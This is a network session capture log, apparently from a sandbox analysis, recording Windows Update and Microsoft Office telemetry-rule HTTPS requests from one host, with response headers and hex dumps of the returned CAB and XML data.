Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49783	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:02 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=xPc57FFhEE2BY+F&MD=PAo268AM HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-01 02:46:02 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 120a89df-b0bf-450a-978d-b4670513f1ad MS-RequestId: f2c632ea-2721-444b-a561-03eb6e480e6b MS-CV: mjTh/GV1K0Or0MfG.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 01 Nov 2024 02:46:01 GMT Connection: close Content-Length: 30005
2024-11-01 02:46:02 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-01 02:46:02 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:02 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:02 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:02 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: cfe50472-201e-00aa-2cfd-263928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024602Z-17c5cb586f626sn8grcgm1gf8000000008t000000000fbza x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:02 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:02 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:02 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:02 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 8d7929b6-101e-0017-6edc-2647c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024602Z-17c5cb586f62bgw58esgbu9hgw000000036g0000000027zk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:02 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:02 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:02 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:02 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: c990e8a6-c01e-0034-078c-2a2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024602Z-159b85dff8f9mtxchC1DFWf9vg00000001ng00000000edhg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:02 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:02 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:02 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:02 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: de33ccc9-c01e-008e-25fe-267381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024602Z-16849878b78bcpfn2qf7sm6hsn0000000bzg00000000h2ub x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:02 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:02 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:02 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:02 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 1abafd92-601e-0070-072b-27a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024602Z-16849878b787bfsh7zgp804my4000000099g000000001zqt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 02:46:02 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:03 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:03 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:03 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 283bb1f9-001e-0066-5cf3-2a561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024603Z-16849878b78qwx7pmw9x5fub1c00000008g000000000hhz2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 02:46:03 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:03 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:03 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:03 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 546431bf-201e-0085-0b72-2734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024603Z-16849878b787wpl5wqkt5731b40000000b3g00000000gv8t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 02:46:03 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:03 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:03 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:03 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 46a88b53-101e-0017-7e74-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024603Z-16849878b787bfsh7zgp804my4000000095g00000000fqak x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:03 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:03 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:03 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:03 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: cabb8868-401e-000a-5c00-2b4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024603Z-15b8d89586flspj6y6m5fk442w0000000gag00000000bzq4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 02:46:03 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:03 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:03 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:03 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: fa11464d-701e-0032-1f49-27a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024603Z-16849878b78sx229w7g7at4nkg00000008ng00000000e767 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:03 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:04 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
